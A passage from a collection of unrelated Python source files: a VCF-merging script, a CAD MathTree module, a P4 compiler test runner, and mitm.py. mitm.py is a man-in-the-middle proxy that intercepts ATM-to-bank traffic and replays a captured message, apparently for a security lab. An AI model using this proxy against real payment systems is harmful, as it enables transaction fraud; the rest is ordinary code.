to merge all the tmp contig vcf files """ start = time.time() header = False # Loop through all chromomsomes for contig in contig_list: if not header: os.system('cat SMuRF_tmp/{}_SMuRF.vcf > {}_SMuRF.vcf'.format(contig, vcf_name)) header = True else: os.system('grep -v \'^#\' SMuRF_tmp/{}_SMuRF.vcf >> {}_SMuRF.vcf'.format(contig, vcf_name)) os.system("grep -P '^#|\s+PASS\s+' "+vcf_name+"_SMuRF.vcf > SMuRF_tmp/filter.vcf") def add_responsibilities(): vcf_reader = pyvcf.Reader(filename="SMuRF_tmp/filter.vcf", encoding='utf-8') vcf_reader.formats['PC'] = pyvcf.parser._Format('PC',None,'Float','Probability of each component') vcf_writer = pyvcf.Writer(open(vcf_name+'_SMuRF_filtered.vcf','w', encoding='utf-8'), vcf_reader) for record in vcf_reader: for call in (record.samples): vaf = call['VAF'] sample = call.sample if vaf != None and vaf > 0.0: vaf = '{0:.2f}'.format(vaf) update_call_data(call, ['PC'], [responsibilities_dict[sample][str(vaf)]], vcf_reader) else: update_call_data(call, ['PC'], [None], vcf_reader) format_list = list(vcf_reader.formats.keys()) format_list.remove('GT') format_list.insert(0,'GT') # Add VAF information to the format field of each sample record.FORMAT = ":".join(format_list) vcf_writer.write_record(record) os.system("rm -rf SMuRF_tmp/*") os.system("rm -rf SMuRF_tmp") if __name__ == "__main__": #get_command_line() main() create_vaf_plot() merge_tmp_vcfs() add_responsibilities()
mitm.py
#!/usr/bin/env python3 import socket import argparse import threading import signal import json import requests import sys import time import traceback from queue import Queue from contextlib import contextmanager CLIENT2SERVER = 1 SERVER2CLIENT = 2 running = True num_atm_messages = 0 num_bank_responses = 0 bank_address = None bank_port = None replay_thread = None replay_command = None replay_ack = None def log(m): print(m, file=sys.stderr) def replay_attack(shared): time.sleep(1) v = socket.socket(socket.AF_INET, socket.SOCK_STREAM) v.connect((bank_address, bank_port)) hb = "".join("{:02x}".format(c) for c in replay_command) log("-> replay command: %s ->" % hb) v.send(replay_command) time.sleep(1) finish = {"type": "done"} shared.put(finish, block=True) # time.sleep(5) # v = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # v.connect(('127.0.0.1', 3000)) # hb = "".join("{:02x}".format(c) for c in replay_command) # log("-> replay command: %s ->" % hb) # v.send(replay_command) # # time.sleep(1) # v = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # v.connect(('127.0.0.1', 3000)) # hb = "".join("{:02x}".format(c) for c in replay_ack) # log("-> replay ack: %s ->" % hb) # v.send(replay_ack) def mitm(buff, direction, shared): hb = "".join("{:02x}".format(c) for c in buff) global num_atm_messages global replay_thread global replay_command global replay_ack if direction == CLIENT2SERVER: num_atm_messages += 1 log("-> %s ->" % hb) if num_atm_messages == 2: buff = buff + buff #replay_command = buff #replay_thread = threading.Thread(target=replay_attack, args=(shared, )) #replay_thread.start() # if num_atm_messages == 3: # replay_command = buff # if num_atm_messages == 4: # replay_ack = buff # replay_thread = threading.Thread(target=replay_attack, args=()) # replay_thread.start() elif direction == SERVER2CLIENT: log("<- %s <-" % hb) return buff @contextmanager def ignored(*exceptions): try: yield except exceptions: pass def kill_p(a, b): with ignored(Exception): a.shutdown(socket.SHUT_RDWR) a.close() b.shutdown(socket.SHUT_RDWR) b.close() return def worker(client, server, n, shared): while running: b = "" with ignored(Exception): b = client.recv(4096) if len(b) == 0: kill_p(client, server) return try: b = mitm(b, n, shared) except Exception: pass try: server.send(b) except Exception: pass kill_p(client, server) return kill_p(client, server) return def signal_handler(sn, sf): global running running = False def do_proxy_main(port, remote_host, remote_port): signal.signal(signal.SIGTERM, signal_handler) workers = [] p = None global bank_address global bank_port bank_address = args.s bank_port = args.q try: shared = Queue() p = threading.Thread(target=send_input, args=(args.c, args.d, shared)) p.start() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", port)) s.listen(1) print("started") sys.stdout.flush() while running: k, a = s.accept() v = socket.socket(socket.AF_INET, socket.SOCK_STREAM) v.connect((remote_host, remote_port)) t1 = threading.Thread(target=worker, args=(k, v, CLIENT2SERVER, shared)) t2 = threading.Thread(target=worker, args=(v, k, SERVER2CLIENT, shared)) t2.start() t1.start() workers.append((t1, t2, k, v)) except Exception: pass signal_handler(None, None) for t1, t2, k, v in workers: kill_p(k, v) t1.join() t2.join() p.join() return def send_input(host, port, shared): global running while running: try: d = shared.get(block=True, timeout=1) time.sleep(1) r = requests.post("http://" + host + ":" + str(port), data={'REQUEST': json.dumps(d)}) log(r.text) except Exception: pass time.sleep(1) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Proxy') parser.add_argument('-p', type=int, default=4000, help="listen port") parser.add_argument('-s', type=str, default="127.0.0.1", help="server ip address") parser.add_argument('-q', type=int, default=3000, help="server port") parser.add_argument('-c', type=str, default="127.0.0.1", help="command server") parser.add_argument('-d', type=int, default=5000, help="command port") args = parser.parse_args() do_proxy_main(args.p, args.s, args.q)
tree.py
""" Module defining MathTree class and helper decorators. """ import ctypes import os, sys import threading import math import Queue from koko.c.libfab import libfab from koko.c.interval import Interval from koko.c.region import Region from koko.c.multithread import multithread, threadsafe ################################################################################ def forcetree(f): ''' A decorator that forces function arguments to be of MathTree type using MathTree.wrap Takes a class method (with cls as its first argument)''' def wrapped(*args, **kwargs): return f(args[0], *[MathTree.wrap(a) for a in args[1:]], **{a:MathTree.wrap(kwargs[a]) for a in kwargs}) return wrapped def matching(f): ''' A decorator that ensures that MathTree properties (e.g. color) match across all shape inputs, raising an exception otherwise. ''' def wrapped(*args): colors = set(a.color for a in args if isinstance(a, MathTree) and a.shape and a.color is not None) if len(colors) > 1: raise ValueError( 'Error: Cannot combine objects with different colors.') out = f(*args) if colors: out.color = colors.pop() return out return wrapped ################################################################################ class MathTree(object): """ @class MathTree @brief Represents a distance metric math expression. @details Arithmetic operators are overloaded to extend the tree with either distance metric arithmetic or shape logical expressions, depending on the value of the instance variable 'shape' """ def __init__(self, math, shape=False, color=None): """ @brief MathTree constructor @param math Math string (in prefix notation) @param shape Boolean modifying arithmetic operators @param color Color tuple or None """ ## @var math # Math string (in sparse prefix syntax) if type(math) in [int, float]: self.math = 'f' + str(math) else: self.math = math ## @var shape # Boolean modify the behavior of arithmetic operators self.shape = shape ## @var color # Assigned color, or None self.color = color self._str = None self._ptr = None ## @var bounds # X, Y, Z bounds (or None) self.bounds = [None]*6 self.lock = threading.Lock() @threadsafe def __del__(self): """ @brief MathTree destructor """ if self._ptr is not None and libfab is not None: libfab.free_tree(self.ptr) @property def ptr(self): """ @brief Parses self.math and returns a pointer to a MathTree structure """ if self._ptr is None: self._ptr = libfab.parse(self.math) return self._ptr ############################################################################ @property def dx(self): try: return self.xmax - self.xmin except TypeError: return None @property def dy(self): try: return self.ymax - self.ymin except TypeError: return None @property def dz(self): try: return self.zmax - self.zmin except TypeError: return None @property def bounds(self): return [self.xmin, self.xmax, self.ymin, self.ymax, self.zmin, self.zmax] @bounds.setter def bounds(self, value): for b in ['xmin','xmax','ymin','ymax','zmin','zmax']: setattr(self, b, value.pop(0)) @property def xmin(self): return self._xmin @xmin.setter def xmin(self, value): if value is None: self._xmin = None else: try: self._xmin = float(value) except: raise ValueError('xmin must be a float') @property def xmax(self): return self._xmax @xmax.setter def xmax(self, value): if value is None: self._xmax = None else: try: self._xmax = float(value) except: raise ValueError('xmax must be a float') @property def ymin(self): return self._ymin @ymin.setter def ymin(self, value): if value is None: self._ymin = None else: try: self._ymin = float(value) except: raise ValueError('ymin must be a float') @property def ymax(self): return self._ymax @ymax.setter def ymax(self, value): if value is None: self._ymax = None else: try: self._ymax = float(value) except: raise ValueError('ymax must be a float') @property def zmin(self): return self._zmin @zmin.setter def zmin(self, value): if value is None: self._zmin = None else: try: self._zmin = float(value) except: raise ValueError('zmin must be a float') @property def zmax(self): return self._zmax @zmax.setter def zmax(self, value): if value is None: self._zmax = None else: try: self._zmax = float(value) except: raise ValueError('zmax must be a float') @property def bounded(self): return all(d is not None for d in [self.dx, self.dy, self.dz]) ############################################################################ @property def color(self): return self._color @color.setter def color(self, rgb): named = {'red': (255, 0, 0 ), 'blue': (0, 0, 255), 'green': (0, 255, 0 ), 'white': (255, 255, 255), 'grey': (128, 128, 128), 'black': (0, 0, 0 ), 'yellow': (255, 255, 0 ), 'cyan': (0, 255, 255), 'magenta': (255, 0, 255), 'teal': (0, 255, 255), 'pink': (255, 0, 255), 'brown': (145, 82, 45), 'tan': (125, 90, 60), 'navy': (0, 0, 128)} if type(rgb) is str and rgb in named: self._color = named[rgb] elif type(rgb) in [tuple, list] and len(rgb) == 3: self._color = tuple(rgb) elif rgb is None: self._color = rgb else: raise ValueError('Invalid color (must be integer 3-value tuple or keyword)') ############################################################################ @staticmethod def wrap(value): ''' Converts a value to a MathTree. None values are left alone, Strings are assumed to be valid math strings and wrapped Floats / ints are converted''' if isinstance(value, MathTree): return value elif value is None: return value elif type(value) is str: return MathTree(value) elif type(value) is not float: try: value = float(value) except (ValueError, TypeError): raise TypeError('Wrong type for MathTree arithmetic (%s)' % type(value)) return MathTree.Constant(value) @classmethod @forcetree def min(cls, A, B): return cls('i'+A.math+B.math) @classmethod @forcetree def max(cls, A, B): return cls('a'+A.math+B.math) @classmethod @forcetree def pow(cls, A, B): return cls('p'+A.math+B.math) @classmethod @forcetree def sqrt(cls, A): return cls('r'+A.math) @classmethod @forcetree def abs(cls, A): return cls('b'+A.math) @classmethod @forcetree def square(cls, A): return cls('q'+A.math) @classmethod @forcetree def sin(cls, A): return cls('s'+A.math) @classmethod @forcetree def cos(cls, A): return cls('c'+A.math) @classmethod @forcetree def tan(cls, A): return cls('t'+A.math) @classmethod @forcetree def asin(cls, A): return cls('S'+A.math) @classmethod @forcetree def acos(cls, A): return cls('C'+A.math) @classmethod @forcetree def atan(cls, A): return cls('T'+A.math) ######################### # MathTree Arithmetic # ######################### # If shape is set, then + and - perform logical combination; # otherwise, they perform arithmeic. @matching @forcetree def __add__(self, rhs): if self.shape or (rhs and rhs.shape): if rhs is None: return self.clone() t = MathTree('i'+self.math+rhs.math, True) if self.dx is not None and rhs.dx is not None: t.xmin = min(self.xmin, rhs.xmin) t.xmax = max(self.xmax, rhs.xmax) if self.dx is not None and rhs.dy is not None: t.ymin = min(self.ymin, rhs.ymin) t.ymax = max(self.ymax, rhs.ymax) if self.dz is not None and rhs.dz is not None: t.zmin = min(self.zmin, rhs.zmin) t.zmax = max(self.zmax, rhs.zmax) return t else: return MathTree('+' + self.math + rhs.math) @matching @forcetree def __radd__(self, lhs): if lhs is None: return self.clone() if self.shape or (lhs and lhs.shape): t = MathTree('i'+lhs.math+self.math) if self.dx is not None and lhs.dx is not None: t.xmin = min(self.xmin, lhs.xmin) t.xmax = max(self.xmax, lhs.xmax) if self.dy is not None and lhs.dy is not None: t.ymin = min(self.ymin, lhs.ymin) t.ymax = max(self.ymax, lhs.ymax) if self.dz is not None and lhs.dz is not None: t.zmin = min(self.zmin, lhs.zmin) t.zmax = max(self.zmax, lhs.zmax) return t else: return MathTree('+' + lhs.math + self.math) @matching @forcetree def __sub__(self, rhs): if self.shape or (rhs and rhs.shape): if rhs is None: return self.clone() t = MathTree('a'+self.math+'n'+rhs.math, True) for i in ['xmin','xmax','ymin','ymax','zmin','zmax']: setattr(t, i, getattr(self, i)) return t else: return MathTree('-'+self.math+rhs.math) @matching @forcetree def __rsub__(self, lhs): if self.shape or (lhs and lhs.shape): if lhs is None: return MathTree('n' + self.math) t = MathTree('a'+lhs.math+'n'+self.math, True) for i in ['xmin','xmax','ymin','ymax','zmin','zmax']: setattr(t, i, getattr(lhs, i)) return t else: return MathTree('-'+lhs.math+self.math) @matching @forcetree def __and__(self, rhs): if self.shape or rhs.shape: t = MathTree('a' + self.math + rhs.math, True) if self.dx is not None and rhs.dx is not None: t.xmin = max(self.xmin, rhs.xmin) t.xmax = min(self.xmax, rhs.xmax) if self.dy is not None and rhs.dy is not None: t.ymin = max(self.ymin, rhs.ymin) t.ymax = min(self.ymax, rhs.ymax) if self.dz is not None and rhs.dz is not None: t.zmin = max(self.zmin, rhs.zmin) t.zmax = min(self.zmax, rhs.zmax) return t else: raise NotImplementedError( '& operator is undefined for non-shape math expressions.') @matching @forcetree def __rand__(self, lhs): if self.shape or lhs.shape: t = MathTree('a' + lhs.math + self.math, True) if self.dx is not None and lhs.dx is not None: t.xmin = max(self.xmin, lhs.xmin) t.xmax = min(self.xmax, lhs.xmax) if self.dy is not None and lhs.dy is not None: t.ymin = max(self.ymin, lhs.ymin) t.ymax = min(self.ymax, lhs.ymax) if self.dz is not None and lhs.dz is not None: t.zmin = max(self.zmin, lhs.zmin) t.zmax = min(self.zmax, lhs.zmax) return t else: raise NotImplementedError( '& operator is undefined for non-shape math expressions.') @matching @forcetree def __or__(self, rhs): if self.shape or rhs.shape: t = MathTree('i' + self.math + rhs.math, True) if self.dx is not None and rhs.dx is not None: t.xmin = min(self.xmin, rhs.xmin) t.xmax = max(self.xmax, rhs.xmax) if self.dy is not None and rhs.dy is not None: t.ymin = min(self.ymin, rhs.ymin) t.ymax = max(self.ymax, rhs.ymax) if self.dz is not None and rhs.dz is not None: t.zmin = min(self.zmin, rhs.zmin) t.zmax = max(self.zmax, rhs.zmax) return t else: raise NotImplementedError( '| operator is undefined for non-shape math expressions.') @matching @forcetree def __ror__(self, lhs): if self.shape or lhs.shape: t = MathTree('i' + lhs.math + self.math, True) if self.dx is not None and lhs.dx is not None: t.xmin = min(self.xmin, lhs.xmin) t.xmax = max(self.xmax, lhs.xmax) if self.dy is not None and lhs.dy is not None: t.ymin = min(self.ymin, lhs.ymin) t.ymax = max(self.ymax, lhs.ymax) if self.dz is not None and lhs.dz is not None: t.zmin = min(self.zmin, lhs.zmin) t.zmax = max(self.zmax, lhs.zmax) return t else: raise NotImplementedError( '| operator is undefined for non-shape math expressions.') @forcetree def __mul__(self, rhs): return MathTree('*' + self.math + rhs.math) @forcetree def __rmul__(self, lhs): return MathTree('*' + lhs.math + self.math) @forcetree def __div__(self, rhs): return MathTree('/' + self.math + rhs.math) @forcetree def __rdiv__(self, lhs): return MathTree('/' + lhs.math + self.math) @forcetree def __neg__(self): return MathTree('n' + self.math, shape=self.shape) ############################### ## String and representation ## ############################### def __str__(self): if self._str is None: self._str = self.make_str() return self._str def make_str(self, verbose=False): """ @brief Converts the object into an infix-notation string @details Creates a OS pipe, instructs the object to print itself into the pipe, and reads the output in chunks of maximum size 1024. """ # Create a pipe to get the printout read, write = os.pipe() # Start the print function running in a separate thread # (so that we can eat the output and avoid filling the pipe) if verbose: printer = libfab.fdprint_tree_verbose else: printer = libfab.fdprint_tree t = threading.Thread(target=printer, args=(self.ptr, write)) t.daemon = True t.start() s = r = os.read(read, 1024) while r: r = os.read(read, 1024) s += r t.join() os.close(read) return s def __repr__(self): return "'%s' (tree at %s)" % (self, hex(self.ptr.value)) def verbose(self): return self.make_str(verbose=True) def save_dot(self, filename, arrays=False): """ @brief Converts math expression to .dot graph description """ if arrays: libfab.dot_arrays(self.ptr, filename) else: libfab.dot_tree(self.ptr, filename) @property def node_count(self): return libfab.count_nodes(self.ptr) ################################# ## Tree manipulation functions ## ################################# @forcetree def map(self, X=None, Y=None, Z=None): """ @brief Applies a map operator to a tree @param X New X function or None @param Y New Y function or None @param Z New Z function or None """ return MathTree('m'+ (X.math if X else ' ')+ (Y.math if Y else ' ')+ (Z.math if Z else ' ')+ self.math, shape=self.shape, color=self.color) @forcetree def map_bounds(self, X=None, Y=None, Z=None): """ @brief Calculates remapped bounds @returns Array of remapped bounds @param X New X function or None @param Y New Y function or None @param Z New Z function or None @details Note that X, Y, and Z should be the inverse of a coordinate mapping to properly transform bounds. """ if self.dx is not None: x = Interval(self.xmin, self.xmax) else: x = Interval(float('nan')) if self.dy is not None: y = Interval(self.ymin, self.ymax) else: y = Interval(float('nan')) if self.dz is not None: z = Interval(self.zmin, self.zmax) else: z = Interval(float('nan')) if self.dx is not None: a = Interval(self.xmin, self.xmax) else: a = Interval(float('nan')) if self.dy is not None: b = Interval(self.ymin, self.ymax) else: b = Interval(float('nan')) if self.dz is not None: c = Interval(self.zmin, self.zmax) else: c = Interval(float('nan')) if X: X_p = libfab.make_packed(X.ptr) a = libfab.eval_i(X_p, x, y, z) libfab.free_packed(X_p) if Y: Y_p = libfab.make_packed(Y.ptr) b = libfab.eval_i(Y_p, x, y, z) libfab.free_packed(Y_p) if Z: Z_p = libfab.make_packed(Z.ptr) c = libfab.eval_i(Z_p, x, y, z) libfab.free_packed(Z_p) bounds = [] for i in [a,b,c]: if math.isnan(i.lower) or math.isnan(i.upper): bounds += [None, None] else: bounds += [i.lower, i.upper] return bounds @threadsafe def clone(self): m = MathTree(self.math, shape=self.shape, color=self.color) m.bounds = [b for b in self.bounds] if self._ptr is not None: m._ptr = libfab.clone_tree(self._ptr) return m ################################# # Rendering functions # ################################# def render(self, region=None, resolution=None, mm_per_unit=None, threads=8, interrupt=None): """ @brief Renders a math tree into an Image @param region Evaluation region (if None, taken from expression bounds) @param resolution Render resolution in voxels/unit @param mm_per_unit Real-world scale @param threads Number of threads to use @param interrupt threading.Event that aborts rendering if set @returns Image data structure """ if region is None: if self.dx is None or self.dy is None: raise Exception('Unknown render region!') elif resolution is None: raise Exception('Region or resolution must be provided!') region = Region( (self.xmin, self.ymin, self.zmin if self.zmin else 0), (self.xmax, self.ymax, self.zmax if self.zmax else 0), resolution ) try: float(mm_per_unit) except ValueError, TypeError: raise ValueError('mm_per_unit must be a number') if interrupt is None: interrupt = threading.Event() halt = ctypes.c_int(0) # flag to abort render image = Image( region.ni, region.nj, channels=1, depth=16, ) # Divide the task to share among multiple threads clones = [self.clone() for i in range(threads)] packed = [libfab.make_packed(c.ptr) for c in clones] subregions = region.split_xy(threads) # Solve each region in a separate thread args = zip(packed, subregions, [image.pixels]*threads, [halt]*threads) multithread(libfab.render16, args, interrupt, halt) for p in packed: libfab.free_packed(p) image.xmin = region.X[0]*mm_per_unit image.xmax = region.X[region.ni]*mm_per_unit image.ymin = region.Y[0]*mm_per_unit image.ymax = region.Y[region.nj]*mm_per_unit image.zmin = region.Z[0]*mm_per_unit image.zmax = region.Z[region.nk]*mm_per_unit return image def asdf(self, region=None, resolution=None, mm_per_unit=None, merge_leafs=True, interrupt=None): """ @brief Constructs an ASDF from a math tree. @details Runs in up to eight threads. @param region Evaluation region (if None, taken from expression bounds) @param resolution Render resolution in voxels/unit @param mm_per_unit Real-world scale @param merge_leafs Boolean determining whether leaf cells are combined @param interrupt threading.Event that aborts rendering if set @returns ASDF data structure """ if region is None: if not self.bounded: raise Exception('Unknown render region!') elif resolution is None: raise Exception('Region or resolution must be provided!') region = Region( (self.xmin, self.ymin, self.zmin if self.zmin else 0), (self.xmax, self.ymax, self.zmax if self.zmax else 0), resolution ) if interrupt is None: interrupt = threading.Event() # Shared flag to interrupt rendering halt = ctypes.c_int(0) # Split the region into up to 8 sections split = region.octsect(all=True) subregions = [split[i] for i in range(8) if split[i] is not None] ids = [i for i in range(8) if split[i] is not None] threads = len(subregions) clones = [self.clone() for i in range(threads)] packed = [libfab.make_packed(c.ptr) for c in clones] # Generate a root for the tree asdf = ASDF(libfab.asdf_root(packed[0], region), color=self.color) asdf.lock.acquire() # Multithread the solver process q = Queue.Queue() args = zip(packed, ids, subregions, [q]*threads) # Helper function to construct a single branch def construct_branch(ptree, id, region, queue): asdf = libfab.build_asdf(ptree, region, merge_leafs, halt) queue.put((id, asdf)) # Run the constructor in parallel to make the branches multithread(construct_branch, args, interrupt, halt) for p in packed: libfab.free_packed(p) # Attach the branches to the root for s in subregions: try: id, branch = q.get_nowait() except Queue.Empty: break else: # Make sure we didn't get a NULL pointer back # (which could occur if the halt flag was raised) try: branch.contents except ValueError: asdf.lock.release() return None asdf.ptr.contents.branches[id] = branch libfab.get_d_from_children(asdf.ptr) libfab.simplify(asdf.ptr, merge_leafs) asdf.lock.release() # Set a scale on the ASDF if one was provided if mm_per_unit is not None: asdf.rescale(mm_per_unit) return asdf def triangulate(self, region=None, resolution=None, mm_per_unit=None, merge_leafs=True, interrupt=None): """ @brief Triangulates a math tree (via ASDF) @details Runs in up to eight threads @param region Evaluation region (if not, taken from expression) @param resolution Render resolution in voxels/unit @param mm_per_unit Real-world scale @param merge_leafs Boolean determining whether leaf cells are combined @param interrupt threading.Event that aborts rendering if set @returns Mesh data structure """ asdf = self.asdf(region, resolution, mm_per_unit, merge_leafs, interrupt) return asdf.triangulate() @staticmethod def Constant(f): return MathTree('f%g' % f) @staticmethod def X(): return MathTree('X') @staticmethod def Y(): return MathTree('Y') @staticmethod def Z(): return MathTree('Z') if libfab: X = MathTree.X() Y = MathTree.Y() Z = MathTree.Z() from koko.fab.image import Image from koko.fab.asdf import ASDF
run-p4-sample.py
#!/usr/bin/env python3 # Copyright 2013-present Barefoot Networks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Runs the compiler on a sample P4 V1.2 program from subprocess import Popen,PIPE from threading import Thread import errno import sys import re import os import stat import tempfile import shutil import difflib import subprocess import glob SUCCESS = 0 FAILURE = 1 class Options(object): def __init__(self): self.binary = "" # this program's name self.cleanupTmp = True # if false do not remote tmp folder created self.p4filename = "" # file that is being compiled self.compilerSrcDir = "" # path to compiler source tree self.verbose = False self.replace = False # replace previous outputs self.dumpToJson = False self.compilerOptions = [] self.runDebugger = False self.runDebugger_skip = 0 self.generateP4Runtime = False def usage(options): name = options.binary print(name, "usage:") print(name, "rootdir [options] file.p4") print("Invokes compiler on the supplied file, possibly adding extra arguments") print("`rootdir` is the root directory of the compiler source tree") print("options:") print(" -b: do not remove temporary results for failing tests") print(" -v: verbose operation") print(" -f: replace reference outputs with newly generated ones") print(" -a \"args\": pass args to the compiler") print(" --p4runtime: generate P4Info message in text format") def isError(p4filename): # True if the filename represents a p4 program that should fail return "_errors" in p4filename def ignoreStderr(options): for line in open(options.p4filename): if "P4TEST_IGNORE_STDERR" in line: return True return False class Local(object): # object to hold local vars accessable to nested functions pass def run_timeout(options, args, timeout, stderr): if options.verbose: print(args[0], args[len(args) - 1]) # handy for manual cut-and-paste print(" ".join(args)) local = Local() local.process = None local.filter = None def target(): procstderr = None if stderr is not None: # copy stderr to the specified file, stripping file path prefixes # from the start of lines outfile = open(stderr, "w") # This regex is ridiculously verbose; it's written this way to avoid # features that are not supported on both GNU and BSD (i.e., macOS) # sed. BSD sed's character class support is not great; for some # reason, even some character classes that the man page claims are # available don't seem to actually work. local.filter = Popen(['sed', '-E', r's|^[-[:alnum:][:punct:][:space:]_/]*/([-[:alnum:][:punct:][:space:]_]+\.[ph]4?[:(][[:digit:]]+)|\1|'], stdin=PIPE, stdout=outfile) procstderr = local.filter.stdin local.process = Popen(args, stderr=procstderr) local.process.wait() if local.filter is not None: local.filter.stdin.close() local.filter.wait() thread = Thread(target=target) thread.start() thread.join(timeout) if thread.is_alive(): print("Timeout ", " ".join(args), file=sys.stderr) local.process.terminate() thread.join() if local.process is None: # never even started if options.verbose: print("Process failed to start") return -1 if options.verbose: print("Exit code ", local.process.returncode) return local.process.returncode timeout = 10 * 60 def compare_files(options, produced, expected, ignore_case): if options.replace: if options.verbose: print("Saving new version of ", expected) shutil.copy2(produced, expected) return SUCCESS if options.verbose: print("Comparing", expected, "and", produced) args = "-B -u -w"; if ignore_case: args = args + " -i"; cmd = ("diff " + args + " " + expected + " " + produced + " >&2") if options.verbose: print(cmd) exitcode = subprocess.call(cmd, shell=True); if exitcode == 0: return SUCCESS else: return FAILURE def recompile_file(options, produced, mustBeIdentical): # Compile the generated file a second time secondFile = produced + "-x"; args = ["./p4test", "-I.", "--pp", secondFile, "--std", "p4-16", produced] + \ options.compilerOptions if options.runDebugger: if options.runDebugger_skip > 0: options.runDebugger_skip = options.runDebugger_skip - 1 else: args[0:0] = options.runDebugger.split() os.execvp(args[0], args) result = run_timeout(options, args, timeout, None) if result != SUCCESS: return result if mustBeIdentical: result = compare_files(options, produced, secondFile, false) return result def check_generated_files(options, tmpdir, expecteddir): files = os.listdir(tmpdir) for file in files: if options.verbose: print("Checking", file) produced = tmpdir + "/" + file expected = expecteddir + "/" + file if not os.path.isfile(expected): if options.verbose: print("Expected file does not exist; creating", expected) shutil.copy2(produced, expected) else: result = compare_files(options, produced, expected, file[-7:] == "-stderr") if result != SUCCESS and (file[-7:] != "-stderr" or not ignoreStderr(options)): return result return SUCCESS def file_name(tmpfolder, base, suffix, ext): return tmpfolder + "/" + base + "-" + suffix + ext def process_file(options, argv): assert isinstance(options, Options) tmpdir = tempfile.mkdtemp(dir=".") basename = os.path.basename(options.p4filename) base, ext = os.path.splitext(basename) dirname = os.path.dirname(options.p4filename) if "_samples/" in dirname: expected_dirname = dirname.replace("_samples/", "_samples_outputs/", 1) elif "_errors/" in dirname: expected_dirname = dirname.replace("_errors/", "_errors_outputs/", 1) elif "p4_14/" in dirname: expected_dirname = dirname.replace("p4_14/", "p4_14_outputs/", 1) elif "p4_16/" in dirname: expected_dirname = dirname.replace("p4_16/", "p4_16_outputs/", 1) else: expected_dirname = dirname + "_outputs" # expected outputs are here if not os.path.exists(expected_dirname): os.makedirs(expected_dirname) # We rely on the fact that these keys are in alphabetical order. rename = { "FrontEndDump": "first", "FrontEndLast": "frontend", "MidEndLast": "midend" } if options.verbose: print("Writing temporary files into ", tmpdir) ppfile = tmpdir + "/" + basename # after parsing referenceOutputs = ",".join(list(rename.keys())) stderr = tmpdir + "/" + basename + "-stderr" p4runtimeFile = tmpdir + "/" + basename + ".p4info.txt" p4runtimeEntriesFile = tmpdir + "/" + basename + ".entries.txt" # Create the `json_outputs` directory if it doesn't already exist. There's a # race here since multiple tests may run this code in parallel, so we can't # check if it exists beforehand. try: os.mkdir("./json_outputs") except OSError as exc: if exc.errno == errno.EEXIST: pass else: raise jsonfile = "./json_outputs" + "/" + basename + ".json" # P4Info generation requires knowledge of the architecture, so we must # invoke the compiler with a valid --arch. def getArch(path): v1Pattern = re.compile('include.*v1model\.p4') psaPattern = re.compile('include.*psa\.p4') with open(path, 'r', encoding='utf-8') as f: for line in f: if v1Pattern.search(line): return "v1model" elif psaPattern.search(line): return "psa" return None if not os.path.isfile(options.p4filename): raise Exception("No such file " + options.p4filename) args = ["./p4test", "--pp", ppfile, "--dump", tmpdir, "--top4", referenceOutputs, "--testJson"] + options.compilerOptions arch = getArch(options.p4filename) if arch is not None: args.extend(["--arch", arch]) if options.generateP4Runtime: args.extend(["--p4runtime-files", p4runtimeFile]) args.extend(["--p4runtime-entries-files", p4runtimeEntriesFile]) if "p4_14" in options.p4filename or "v1_samples" in options.p4filename: args.extend(["--std", "p4-14"]); args.extend(argv) if options.runDebugger: if options.runDebugger_skip > 0: options.runDebugger_skip = options.runDebugger_skip - 1 else: args[0:0] = options.runDebugger.split() os.execvp(args[0], args) result = run_timeout(options, args, timeout, stderr) if result != SUCCESS: print("Error compiling") print("".join(open(stderr).readlines())) # If the compiler crashed fail the test if 'Compiler Bug' in open(stderr).readlines(): return FAILURE expected_error = isError(options.p4filename) if expected_error: # invert result if result == SUCCESS: result = FAILURE else: result = SUCCESS # Canonicalize the generated file names lastFile = None for k in sorted(rename.keys()): files = glob.glob(tmpdir + "/" + base + "*" + k + "*.p4"); if len(files) > 1: print("Multiple files matching", k); elif len(files) == 1: file = files[0] if os.path.isfile(file): newName = file_name(tmpdir, base, rename[k], ext) os.rename(file, newName) lastFile = newName if (result == SUCCESS): result = check_generated_files(options, tmpdir, expected_dirname); if (result == SUCCESS) and (not expected_error): result = recompile_file(options, ppfile, False) if (result == SUCCESS) and (not expected_error) and (lastFile is not None) and (arch is not "psa"): # Unfortunately compilation and pretty-printing of lastFile is # not idempotent: For example a constant such as 8s128 is # converted by the compiler to -8s128. result = recompile_file(options, lastFile, False) if options.cleanupTmp: if options.verbose: print("Removing", tmpdir) shutil.rmtree(tmpdir) return result def isdir(path): try: return stat.S_ISDIR(os.stat(path).st_mode) except OSError: return False; ######################### main def main(argv): options = Options() options.binary = argv[0] if len(argv) <= 2: usage(options) sys.exit(FAILURE) options.compilerSrcdir = argv[1] argv = argv[2:] if not os.path.isdir(options.compilerSrcdir): print(options.compilerSrcdir + " is not a folder", file=sys.stderr) usage(options) sys.exit(FAILURE) while argv[0][0] == '-': if argv[0] == "-b": options.cleanupTmp = False elif argv[0] == "-v": options.verbose = True elif argv[0] == "-f": options.replace = True elif argv[0] == "-j": options.dumpToJson = True elif argv[0] == "-a": if len(argv) == 0: print("Missing argument for -a option") usage(options) sys.exit(FAILURE) else: options.compilerOptions += argv[1].split(); argv = argv[1:] elif argv[0][1] == 'D' or argv[0][1] == 'I' or argv[0][1] == 'T': options.compilerOptions.append(argv[0]) elif argv[0][0:4] == "-gdb": options.runDebugger = "gdb --args" if len(argv[0]) > 4: options.runDebugger_skip = int(argv[0][4:]) - 1 elif argv[0] == "--p4runtime": options.generateP4Runtime = True else: print("Uknown option ", argv[0], file=sys.stderr) usage(options) sys.exit(FAILURE) argv = argv[1:] if 'P4TEST_REPLACE' in os.environ: options.replace = True options.p4filename=argv[-1] options.testName = None if options.p4filename.startswith(options.compilerSrcdir): options.testName = options.p4filename[len(options.compilerSrcdir):]; if options.testName.startswith('/'): options.testName = options.testName[1:] if options.testName.endswith('.p4'): options.testName = options.testName[:-3] result = process_file(options, argv) if isError(options.p4filename) and result == FAILURE: print("Program was 